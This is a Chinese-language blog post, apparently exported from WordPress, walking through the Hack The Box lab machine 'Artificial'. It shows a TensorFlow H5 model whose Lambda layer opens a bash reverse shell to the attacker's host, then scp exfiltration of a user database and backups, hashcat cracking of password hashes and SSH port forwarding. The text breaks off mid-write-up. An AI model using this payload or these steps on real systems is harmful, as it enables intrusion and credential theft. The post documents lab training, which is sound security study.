{"id":308,"date":"2025-06-23T10:01:19","date_gmt":"2025-06-23T02:01:19","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=308"},"modified":"2026-01-29T16:18:33","modified_gmt":"2026-01-29T08:18:33","slug":"308","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2025\/06\/23\/308\/","title":{"rendered":"HTB\u9776\u673a Artificial \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code><strong>10.129.58.118<\/strong><\/code><strong>\uff08\u975e\u56fa\u5b9aIP\u5730\u5740\uff09<\/strong><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">PING 10.129.58.118 (10.129.58.118) 56(84) bytes of data.\n64 bytes from 10.129.58.118: icmp_seq=1 ttl=63 time=420 ms\n64 bytes from 10.129.58.118: icmp_seq=2 ttl=63 time=366 ms\n64 bytes from 10.129.58.118: icmp_seq=3 ttl=63 time=288 ms\n64 bytes from 10.129.58.118: icmp_seq=4 ttl=63 time=289 ms\n\n--- 10.129.58.118 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3005ms\nrtt min\/avg\/max\/mdev = 288.366\/340.734\/419.847\/55.529 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u7f51\u7edc\u8fde\u63a5\u6b63\u5e38\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun Jun 22 07:38:38 2025 as: \/usr\/lib\/nmap\/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.58.118\nNmap scan report for 10.129.58.118\nHost is up (0.30s latency).\nAll 65535 scanned ports on 10.129.58.118 are in ignored states.\nNot shown: 65535 open|filtered tcp ports (no-response)\n\n# Nmap done at Sun Jun 22 07:39:23 2025 -- 1 IP address (1 host up) scanned in 44.88 seconds<\/code><\/pre>\n<p>\u65e0\u6cd5\u63a2\u6d4b\u9776\u673a\u9632\u706b\u5899\u72b6\u6001\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code><strong>TCP<\/strong><\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun Jun 22 07:43:02 2025 as: \/usr\/lib\/nmap\/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.58.118\nWarning: 10.129.58.118 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.129.58.118\nHost is up (0.26s latency).\nNot shown: 64195 closed tcp ports (conn-refused), 1338 filtered tcp ports (no-response)\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)\n|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)\n|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)\n80\/tcp open  http    nginx 1.18.0 (Ubuntu)\n|_http-title: Did not follow redirect to http:\/\/artificial.htb\/\n|_http-server-header: nginx\/1.18.0 (Ubuntu)\nDevice type: general purpose|router\nRunning: Linux 5.X, MikroTik RouterOS 7.X\nOS CPE: cpe:\/o:linux:linux_kernel:5 cpe:\/o:mikrotik:routeros:7 cpe:\/o:linux:linux_kernel:5.6.3\nOS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using proto 1\/icmp)\nHOP RTT       ADDRESS\n1   321.31 ms 10.10.14.1\n2   321.55 ms 10.129.58.118\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sun Jun 22 07:44:09 2025 -- 1 IP address (1 host up) scanned in 66.41 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun Jun 22 07:48:32 2025 as: \/usr\/lib\/nmap\/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.58.118\nWarning: 10.129.58.118 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.129.58.118\nHost is up (0.31s latency).\nAll 65535 scanned ports on 10.129.58.118 are in ignored states.\nNot shown: 65289 open|filtered udp ports (no-response), 246 closed udp ports (port-unreach)\n\n# Nmap done at Sun Jun 22 07:52:35 2025 -- 1 IP address (1 host up) scanned in 242.44 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3a<code>Ubuntu Linux<\/code>\uff0c\u5f00\u653e\u4e86<code>SSH<\/code>\u548c<code>Nginx Web<\/code>\u670d\u52a1\uff0c\u4e3b\u57df\u540d\u4e3a<code>artificial.htb<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n<p>\u7aef\u53e3<code>Banner<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/megumin\/Documents\/pentest_notes\/artificial]\n\u2514\u2500# nc -nv 10.129.58.118 22\n(UNKNOWN) [10.129.58.118] 22 (ssh) open\nSSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.13<\/code><\/pre>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/artificial.htb\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750554782282-2b2255b4-5ee3-47dd-8a67-ad9bf6e7fe33.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u8be5\u7f51\u7ad9\u4f3c\u4e4e\u4e3a\u4e00\u4e2a\u4eba\u5de5\u667a\u80fd\u89e3\u51b3\u65b9\u6848\u63d0\u4f9b\u5546\u7684\u5bf9\u5916\u4e1a\u52a1\u5e94\u7528\u3002\u67e5\u770b\u4e3b\u9875\uff0c\u53d1\u73b0\u5b58\u5728\u4e24\u4e2a\u6307\u5411<code>\/login<\/code>\u548c<code>\/register<\/code>\u7aef\u70b9\u7684\u94fe\u63a5\uff0c\u4ee5\u53ca\u4e00\u4efd\u5173\u4e8e\u673a\u5668\u5b66\u4e60\u7684\u793a\u4f8b\u4ee3\u7801\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750554957206-7d3727c9-58e6-4303-b5c1-ea587fbd65c0.png\" alt=\"\" \/><\/p>\n<p>\u8be5\u793a\u4f8b\u4ee3\u7801\u521b\u5efa\u4e86\u4e00\u4efd\u6a21\u578b\uff0c\u5e76\u5c06\u5176\u4fdd\u5b58\u5230\u4e86<code>.h5<\/code>\u6587\u4ef6\u4e2d\u3002\u5c06\u811a\u672c\u4fdd\u5b58\u81f3\u672c\u5730\u5907\u7528\u3002<\/p>\n<p>\u5c1d\u8bd5\u8fdb\u884c\u76ee\u5f55\u626b\u63cf\uff1a<\/p>\n<pre><code class=\"language-plain\"># Dirsearch started Sun Jun 22 09:19:55 2025 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/artificial.htb -x 400,403,404 -t 70 -e js,html,txt,zip,tar.gz,xml,json,h5,pcap,pdf\n\n302   199B   http:\/\/artificial.htb\/dashboard    -&gt; REDIRECTS TO: \/login\n200   857B   http:\/\/artificial.htb\/login\n302   189B   http:\/\/artificial.htb\/logout    -&gt; REDIRECTS TO: \/\n200   952B   http:\/\/artificial.htb\/register<\/code><\/pre>\n<p>\u53ea\u53d1\u73b0\u767b\u5f55\u6ce8\u518c\u63a5\u53e3\uff0c\u4ee5\u53ca\u4e00\u4e2a<code>\/dashboard<\/code>\u540e\u53f0\u9762\u677f\u5730\u5740\u3002<\/p>\n<p>\u5c1d\u8bd5\u6ce8\u518c\u4e00\u4e2a\u8d26\u53f7\u767b\u5f55\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750636193349-3d5a7bbd-6c84-46fa-a72e-3bb6a116f08c.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750636232997-fb47a811-978a-4298-8637-6412b389d728.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u540e\u53f0\u5b58\u5728\u4e0a\u4f20<code>TensorFlow H5<\/code>\u6a21\u578b\u7684\u529f\u80fd\u3002\u70b9\u51fb<code>Dockerfile<\/code>\u94fe\u63a5\uff0c\u53d1\u73b0\u8fd4\u56de\u5982\u4e0b\u5185\u5bb9\uff1a<\/p>\n<pre><code class=\"language-dockerfile\">FROM python:3.8-slim\n\nWORKDIR \/code\n\nRUN apt-get update &amp;&amp; \\\n    apt-get install -y curl &amp;&amp; \\\n    curl -k -LO https:\/\/files.pythonhosted.org\/packages\/65\/ad\/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4\/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl &amp;&amp; \\\n    rm -rf \/var\/lib\/apt\/lists\/*\n\nRUN pip install .\/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\n\nENTRYPOINT [\"\/bin\/bash\"]<\/code><\/pre>\n<p>\u6000\u7591\u540e\u7aef\u4f7f\u7528<code>Python TensorFlow v2.13.1<\/code>\u7248\u672c\u5b9e\u73b0\u5bf9\u6a21\u578b\u7684\u5206\u6790\u529f\u80fd\u3002<\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>Docker<\/code>\u5bb9\u5668\u8fd0\u884c\u4e3b\u9875\u4e0a\u63d0\u4f9b\u7684<code>TensorFlow<\/code>\u793a\u4f8b\u6a21\u578b\u751f\u6210\u811a\u672c\uff0c\u5e76\u5c06\u5176\u4e0a\u4f20\u81f3\u540e\u53f0\u67e5\u770b\u662f\u5426\u5b58\u5728\u66f4\u591a\u529f\u80fd\u3002\u9996\u5148\u914d\u7f6e\u652f\u6301<code>TensorFlow<\/code>\u8fd0\u884c\u7684<code>Docker<\/code>\u5bb9\u5668\uff1a<\/p>\n<pre><code class=\"language-shell\">docker pull python:slim-3.8\ndocker run -it -v \/home\/megumin\/Documents\/pentest_notes\/artificial:\/root\/artificial python:3.8-slim \/bin\/bash\npip install pandas -i http:\/\/mirrors.aliyun.com\/pypi\/simple --trusted-host=mirrors.aliyun.com\ncd ~\/artificial &amp;&amp; wget https:\/\/files.pythonhosted.org\/packages\/65\/ad\/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4\/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\npip install .\/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl -i http:\/\/mirrors.aliyun.com\/pypi\/simple --trusted-host mirrors.aliyun.com<\/code><\/pre>\n<p>\u968f\u540e\u8fd0\u884c\u4fdd\u5b58\u81f3\u672c\u5730\u7684<code>TensorFlow<\/code>\u6a21\u578b\u751f\u6210\u811a\u672c\uff1a<\/p>\n<pre><code class=\"language-shell\">python3 .\/example_model.py<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750637223545-1232fb16-7e47-4602-bbeb-c235cb300251.png\" alt=\"\" \/><\/p>\n<p>\u968f\u540e\u5c06\u6a21\u578b\u4e0a\u4f20\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750637272373-2c33b8a7-ccb3-43f2-8008-b6c450ae948f.png\" alt=\"\" \/><\/p>\n<p>\u70b9\u51fb<code>View Predictions<\/code>\u6309\u94ae\uff0c\u53d1\u73b0\u540e\u53f0\u7684\u529f\u80fd\u6b63\u662f\u5206\u6790\u7528\u6237\u4e0a\u4f20\u7684<code>TensorFlow<\/code>\u6a21\u578b\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750637340356-9498497f-c4ad-4b02-b49b-60bbec43496a.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u8054\u7f51\u641c\u7d22<code>TensorFlow<\/code>\u7684\u5229\u7528\u65b9\u5f0f\uff0c\u6210\u529f\u53d1\u73b0\u4e00\u79cd\u5728<code>TensorFlow H5<\/code>\u6a21\u578b\u7684<code>Lambda Layer<\/code>\u5c42\u4e2d\u6ce8\u5165\u6076\u610f<code>Python<\/code>\u51fd\u6570\uff0c\u4ece\u800c\u6267\u884c\u4efb\u610f\u4ee3\u7801\u7684\u65b9\u6cd5\uff1a<a href=\"https:\/\/splint.gitbook.io\/cyberblog\/security-research\/tensorflow-remote-code-execution-with-malicious-model\" target=\"_blank\"  rel=\"nofollow\" >TensorFlow Remote Code Execution with Malicious Model | CyberBlog<\/a><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750637875539-52880e5a-fc79-4d1d-a7fe-10e719c764b8.png\" alt=\"\" \/><\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>TensorFlow\u6076\u610f\u6a21\u578b\u5229\u7528<\/h2>\n<p>\u5728\u670d\u52a1\u63a2\u6d4b\u9636\u6bb5\uff0c\u6211\u4eec\u5df2\u7ecf\u53d1\u73b0\u76ee\u6807\u7f51\u7ad9\u540e\u53f0\u7684\u529f\u80fd\u4e3a\u89e3\u6790\u7528\u6237\u4e0a\u4f20\u7684<code>TensorFlow<\/code>\u6a21\u578b\uff0c\u5e76\u627e\u5230\u4e86\u5728\u6a21\u578b\u4e2d\u6ce8\u5165\u6076\u610f\u4ee3\u7801\u7684\u65b9\u6cd5\u3002\u73b0\u5728\u53ef\u4ee5\u7f16\u5199\u4e00\u4efd\u751f\u6210\u5177\u6709\u53cd\u5f39<code>Shell<\/code>\u4ee3\u7801\u7684\u6a21\u578b\u6587\u4ef6\uff0c\u8fd0\u884c\u4e4b\u540e\uff0c\u5c06\u5176\u4e0a\u4f20\u81f3\u540e\u53f0\u8fdb\u884c\u6a21\u578b\u89e3\u6790\uff0c\u4ece\u800c\u89e6\u53d1\u6076\u610f\u4ee3\u7801\u3002<\/p>\n<p>\u6076\u610f\u6a21\u578b\u751f\u6210\u811a\u672c<code>inject_model.py<\/code>\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-python\">#!\/usr\/local\/bin\/python\nimport tensorflow as tf\n\ndef exploit(x):\n    import os\n    os.system(\"\/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/10.10.14.180\/443 0&gt;&amp;1' &amp;\")\n    return x\n\nmodel = tf.keras.Sequential()\nmodel.add(tf.keras.layers.Input(shape=(64,)))\nmodel.add(tf.keras.layers.Lambda(exploit))\nmodel.compile()\nmodel.save(\"exploit.h5\")<\/code><\/pre>\n<p>\u968f\u540e\u8fdb\u5165<code>Docker<\/code>\u5bb9\u5668\u6267\u884c\uff1a<\/p>\n<pre><code class=\"language-shell\">python3 .\/inject_model.py<\/code><\/pre>\n<p>\u63a5\u7740\u5c06\u751f\u6210\u7684<code>exploit.h5<\/code>\u6a21\u578b\u6587\u4ef6\u4e0a\u4f20\uff0c\u5b8c\u6bd5\u540e\u70b9\u51fb<code>View Predictions<\/code>\u6309\u94ae\u8fdb\u884c\u89e3\u6790\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750638575956-5b70d0d6-db31-4001-9af1-d83f40483674.png\" alt=\"\" \/><\/p>\n<p><strong>\u53cd\u5f39Shell\u6210\u529f\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u79fb\u52a8\u81f3gael\u7528\u6237<\/h2>\n<p>\u8fdb\u5165\u7cfb\u7edf\u540e\uff0c\u53d1\u73b0\u5f53\u524d\u7528\u6237\u4e3a<code>app<\/code>\uff0c\u4e14\u6b63\u5904\u4e8e<code>Web<\/code>\u5e94\u7528\u7a0b\u5e8f\u6839\u76ee\u5f55<code>\/home\/app\/app\/<\/code>\u4e0b\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750638814452-cc05a753-cfe8-443f-a507-ed112fe0bc36.png\" alt=\"\" \/><\/p>\n<p>\u67e5\u770b\u4e3b\u7a0b\u5e8f<code>app.py<\/code>\u7684\u90e8\u5206\u5185\u5bb9\uff0c\u53d1\u73b0\u7f51\u7ad9\u4f7f\u7528<code>SQLite<\/code>\u4f5c\u4e3a\u7528\u6237\u6570\u636e\u5e93\uff0c\u4f4d\u7f6e\u4e3a<code>\/home\/app\/app\/instance\/users.db<\/code>\uff1a<\/p>\n<pre><code class=\"language-python\">app = Flask(__name__)\napp.secret_key = \"Sup3rS3cr3tKey4rtIfici4L\"\n\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:\/\/\/users.db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\napp.config['UPLOAD_FOLDER'] = 'models'<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750638990014-b4921dda-286a-4019-a9d0-b5dc95c747ed.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u4f7f\u7528<code>scp<\/code>\u5de5\u5177\u5c06<code>users.db<\/code>\u6570\u636e\u5e93\u6587\u4ef6\u4f20\u8f93\u81f3\u672c\u5730\uff1a<\/p>\n<pre><code class=\"language-shell\">scp -P 22222 \/home\/app\/app\/instance\/users.db megumin@10.10.14.180:\/home\/megumin\/Documents\/pentest_notes\/artificial\/users.db<\/code><\/pre>\n<p>\u968f\u540e\u4f7f\u7528<code>DB Browser for SQLite<\/code>\u6253\u5f00\uff0c\u67e5\u770b<code>user<\/code>\u8868\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750639159320-0caed85b-942c-45a8-9c58-825c0050315f.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u6570\u636e\u5e93\u4e2d\u539f\u672c\u5c31\u5b58\u5728<code>5<\/code>\u4e2a\u7528\u6237\uff0c\u5bc6\u7801\u54c8\u5e0c\u7591\u4f3c\u4e3a<code>MD5<\/code>\u683c\u5f0f\u3002<\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\u67e5\u770b<code>\/etc\/passwd<\/code>\u5185\u5bb9\uff0c\u8fc7\u6ee4\u51fa\u767b\u5f55<code>Shell<\/code>\u4e0d\u4e3a<code>NoLogin Shell<\/code>\u7684\u7cfb\u7edf\u7528\u6237\uff1a<\/p>\n<pre><code class=\"language-shell\">cat \/etc\/passwd | grep -v -E \"\/bin\/sync|\/usr\/sbin\/nologin|\/bin\/false\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750639474510-7f01bb6e-eadd-4876-bc6c-ad758f72c3af.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u7cfb\u7edf\u5b58\u5728\u7528\u6237<code>gael<\/code>\uff0c\u5bf9\u6bd4\u7f51\u7ad9\u7528\u6237\u6570\u636e\u5e93\uff0c\u5c1d\u8bd5\u5c06<code>gael@artificial.htb<\/code>\u7528\u6237\u7684<code>MD5<\/code>\u54c8\u5e0c\u8fdb\u884c\u7206\u7834\uff1a<\/p>\n<pre><code class=\"language-powershell\">.\\hashcat.exe -m 0 -a 0 \"c99175974b6e192936d97224638a34f8\" .\\rockyou.txt --force<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750639760461-61f8d8b0-73ec-4c54-a78d-d686b2020503.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u83b7\u5f97\u767b\u5f55\u51ed\u636e\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>gael<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>mattp005numbertwo<\/code><\/li>\n<\/ul>\n<p>\u76f4\u63a5\u767b\u5f55<code>SSH<\/code>\uff1a<\/p>\n<pre><code class=\"language-powershell\">ssh gael@artificial.htb<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750639883062-a1e57562-8b2c-4af7-94d8-2c662924e72b.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01<\/strong><\/p>\n<h2>\u76ee\u5f55\u4fe1\u606f\u6536\u96c6<\/h2>\n<p>\u767b\u5f55<code>gael<\/code>\u7528\u6237\u540e\uff0c\u8fdb\u884c\u76ee\u5f55\u4fe1\u606f\u6536\u96c6\u3002\u9996\u5148\uff0c\u5728<code>\/opt\/<\/code>\u76ee\u5f55\u4e0b\u53d1\u73b0\u4e86\u964c\u751f\u5e94\u7528\u7a0b\u5e8f\u76ee\u5f55<code>\/opt\/backrest<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750640384388-9cf53460-664b-4753-a9cc-ed63321f6955.png\" alt=\"\" \/><\/p>\n<p>\u901a\u8fc7\u8054\u7f51\u641c\u7d22\uff0c\u53d1\u73b0<code>backrest<\/code>\u662f\u4e00\u6b3e\u57fa\u4e8e<code>restic<\/code>\u5907\u4efd\u8f6f\u4ef6\u7684<code>WebUI<\/code>\u5b9e\u73b0\u9879\u76ee\u3002\u7528\u6237\u53ef\u4ee5\u5728\u7f51\u9875\u4e0a\u6267\u884c\u6dfb\u52a0<code>restic<\/code>\u5907\u4efd\u6e90\u3001\u6267\u884c\u5907\u4efd\u4efb\u52a1\u7b49\u64cd\u4f5c\uff0c\u4ee5\u4ee3\u66ff\u901a\u8fc7\u547d\u4ee4\u884c\u4f7f\u7528<code>restic<\/code>\u7684\u65b9\u5f0f\uff0c\u5176\u9ed8\u8ba4\u7aef\u53e3\u4e3a<code>9898<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750640640485-4e0f92b7-de3c-4967-9d70-f15a6cd02243.png\" alt=\"\" \/><\/p>\n<p>\u4f7f\u7528<code>netstat<\/code>\u547d\u4ee4\u67e5\u770b\u9776\u673a\u7aef\u53e3\u72b6\u6001\uff0c\u53d1\u73b0\u786e\u5b9e\u5f00\u653e\u4e86<code>9898\/tcp<\/code>\u7aef\u53e3\uff1a<\/p>\n<pre><code class=\"language-shell\">netstat -ano | grep \"9898\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750640781679-7c74442b-b8f8-4858-b338-e6ff47aafb93.png\" alt=\"\" \/><\/p>\n<p>\u540c\u65f6\uff0c\u8fd8\u5728<code>\/var\/backups\/<\/code>\u76ee\u5f55\u4e0b\u53d1\u73b0\u4e86<code>backrest<\/code>\u5e94\u7528\u7a0b\u5e8f\u76ee\u5f55\u7684\u5907\u4efd\u538b\u7f29\u5305\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750640861882-d97da3fd-f279-42bf-8fa7-929b06ce3602.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u4f7f\u7528<code>scp<\/code>\u4f20\u8f93\u81f3\u672c\u5730\uff1a<\/p>\n<pre><code class=\"language-shell\">scp -P 22222 \/var\/backups\/backrest_backup.tar.gz megumin@10.10.14.180:\/home\/megumin\/Documents\/pentest_notes\/artificial\/backrest_backup.tar.gz<\/code><\/pre>\n<h2>\u7834\u89e3Backrest\u7ba1\u7406\u5458\u5bc6\u7801<\/h2>\n<p>\u5728\u76ee\u5f55\u4fe1\u606f\u6536\u96c6\u9636\u6bb5\uff0c\u6211\u4eec\u5df2\u7ecf\u786e\u5b9a\u4e86\u9776\u673a\u5728<code>127.0.0.1:9898<\/code>\u7aef\u53e3\u4e0a\u8fd0\u884c\u4e86\u57fa\u4e8e<code>restic<\/code>\u5b9e\u73b0\u7684<code>Backrest<\/code>\u7f51\u9875\u7aef\u5907\u4efd\u7ba1\u7406\u7cfb\u7edf\uff0c\u4e14\u4e0b\u8f7d\u4e86\u5176\u5e94\u7528\u7a0b\u5e8f\u76ee\u5f55\u7684\u5907\u4efd\u6587\u4ef6\u3002<\/p>\n<p>\u9996\u5148\uff0c\u5c06\u9776\u673a<code>9898<\/code>\u7aef\u53e3\u8f6c\u53d1\u5230\u653b\u51fb\u673a\u7684<code>9898<\/code>\u7aef\u53e3\u4e0a\uff1a<\/p>\n<pre><code class=\"language-shell\">ssh -fCNR 9898:localhost:9898 megumin@10.10.14.180 -p 22222<\/code><\/pre>\n<p>\u968f\u540e\u8fdb\u884c\u8bbf\u95ee\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750641257068-dcd9035b-b2dd-43fb-9010-486cbad89667.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u9700\u8981\u767b\u5f55\uff0c\u4f46\u76ee\u524d\u672a\u83b7\u5f97\u7528\u6237\u51ed\u636e\u3002\u5c1d\u8bd5\u4f7f\u7528<code>file<\/code>\u547d\u4ee4\u67e5\u770b\u5907\u4efd\u538b\u7f29\u5305\u771f\u5b9e\u683c\u5f0f\uff0c\u53d1\u73b0\u4e3a<code>tar<\/code>\u538b\u7f29\u5305\uff0c\u800c\u5e76\u975e<code>tar.gz<\/code>\u683c\u5f0f\u3002\u5c06\u5176\u91cd\u547d\u540d\u4e3a<code>backrest_backup.tar<\/code>\u540e\uff0c\u4f7f\u7528\u5f52\u6863\u67e5\u770b\u5668\u6253\u5f00\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750641390725-173d642f-8178-49ef-8632-e32027599c54.png\" alt=\"\" \/><\/p>\n<p>\u5728\u538b\u7f29\u5305\u76ee\u5f55<code>\/backrest\/.config\/backrest\/<\/code>\u4e0b\u53d1\u73b0<code>config.json<\/code>\u914d\u7f6e\u6587\u4ef6\uff0c\u5176\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-json\">{\n  \"modno\": 2,\n  \"version\": 4,\n  \"instance\": \"Artificial\",\n  \"auth\": {\n    \"disabled\": false,\n    \"users\": [\n      {\n        \"name\": \"backrest_root\",\n        \"passwordBcrypt\": \"JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP\"\n      }\n    ]\n  }\n}<\/code><\/pre>\n<p>\u7528\u6237\u540d\u4e3a<code>backrest_root<\/code>\uff0c\u5bc6\u7801\u5b57\u6bb5\u7ecf\u8fc7<code>Base64<\/code>\u7f16\u7801\uff0c\u89e3\u7801\u540e\u53d1\u73b0\u4e3a<code>BCrypt<\/code>\u54c8\u5e0c\uff1a<code>$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR\/ACMMkSsspbRutYP58EBZz\/0QO<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1750641580703-37a6d9aa-02e8-4447-8d18-0a849566b05f.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>hashcat<\/code>\u5de5\u5177\u7206\u7834\u54c8\u5e0c\uff1a<\/p>\n<pre><code class=\"language-powershell\">.\\hashcat.exe -m 3200 -a 0 \"`$2a`$10`$cVGIy9VMXQd0gM5ginCmjei2kZR\/ACMMkSsspbRutYP58EBZz\/0QO\" .\\rockyou.txt --force<\/code><\/pre>\n<p><img decoding=\"async\" 